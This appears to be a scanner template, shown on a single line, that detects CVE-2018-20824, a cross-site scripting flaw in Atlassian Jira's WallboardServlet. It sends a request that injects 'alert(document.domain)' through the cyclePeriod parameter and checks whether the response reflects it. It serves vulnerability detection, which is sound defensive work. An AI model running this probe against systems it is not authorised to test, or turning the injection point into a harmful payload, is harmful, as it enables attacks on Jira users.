id: cve-2018-20824 info: name: Atlassian Jira WallboardServlet XSS author: madrobot & dwisiswant0 severity: medium description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter. requests: - method: GET path: - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - (?mi)timeout:\salert\(document\.domain\) part: body